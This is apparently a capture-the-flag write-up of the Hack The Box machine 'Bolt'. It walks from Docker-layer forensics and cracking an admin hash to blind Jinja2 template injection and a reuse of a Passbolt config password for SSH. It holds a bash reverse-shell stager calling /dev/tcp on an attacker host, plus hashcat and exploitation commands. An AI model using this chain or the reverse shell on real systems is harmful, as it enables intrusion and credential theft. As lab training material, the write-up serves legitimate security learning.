Post

Bolt

A web server hands out a downloadable Docker image whose discarded layers still hold a deleted SQLite database and source code; recovering a cracked admin hash and a hardcoded invite code unlocks a demo site whose profile form is blind Jinja2 SSTI, giving code execution as www-data — and a plaintext Passbolt config password reused for SSH lands the user flag as eddie.

Bolt

Overview

Bolt is a medium-difficulty Linux machine. The route to user is a web chain: port 80 offers a downloadable Docker image, and enumerating its layers recovers two files that were “deleted” but never scrubbed — a SQLite database with a crackable admin hash and Python source containing a hardcoded invite code. That code opens a restricted demo site whose profile-update form is vulnerable to blind Server-Side Template Injection, yielding remote code execution as www-data. A Passbolt configuration file readable by that web user stores a database password in plaintext, and the same password is reused for the eddie system account — giving SSH access and the user flag. This post covers recon through the user flag.

Recon

PortServiceNotes
22OpenSSHlogin surface
80HTTPFlask app + downloadable image.tar
443HTTPSpassbolt.bolt.htb password manager
1
nmap -sC -sV 10.129.10.61

Several virtual hosts live behind the IP — bolt.htb, demo.bolt.htb, mail.bolt.htb, passbolt.bolt.htb. Add them to /etc/hosts:

1
echo '10.129.10.61 bolt.htb demo.bolt.htb mail.bolt.htb passbolt.bolt.htb' | sudo tee -a /etc/hosts

Enumeration

The main site offers a Docker image for download. Docker layers are append-only — marking a file deleted does not remove it from earlier layers — so pulling the image apart leaks artifacts the developers thought were gone.

1
2
3
wget http://bolt.htb/image.tar
docker load < image.tar
dive docker-archive://image.tar

One layer holds a deleted SQLite database; another holds the application source. Dump the admin hash and crack it:

1
2
sqlite3 app/db.sqlite3 'SELECT * FROM User'
hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt   # -> deadbolt

A second layer contains routes.py with a hardcoded registration token:

1
grep -r 'invite_code' app/base/routes.py   # -> XNSS-HSJW-3NGU-8XTJ

Register at demo.bolt.htb with the invite code and log in with admin:deadbolt.

Foothold

The demo site’s profile-update form passes the new username straight into render_template_string() inside an email template — a blind Jinja2 SSTI: the payload only renders when the confirmation email is generated. Verify with a math probe set as the username, then click the confirmation link in mail.bolt.htb:

1
# set username to:   -> confirmation email shows 49

Escalate to code execution with a cycler object-traversal gadget that reaches os.popen, hosting a reverse-shell stager and triggering it via the confirmation link:

1
2
3
4
echo 'bash -c "bash -i >& /dev/tcp/<lhost>/1234 0>&1"' > index.html
sudo python3 -m http.server 80
# set username to:
# 

A shell as www-data lands. The Passbolt config file is world-readable to the web user and stores the database password in cleartext:

1
grep -A10 'Datasources' /etc/passbolt/passbolt.php   # -> password: <redacted>

That password is reused for the eddie system account:

1
ssh [email protected]   # password: <redacted>

User flag

1
cat /home/eddie/user.txt   # HTB{...}

Access as eddie achieved via credential reuse from the Passbolt configuration.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.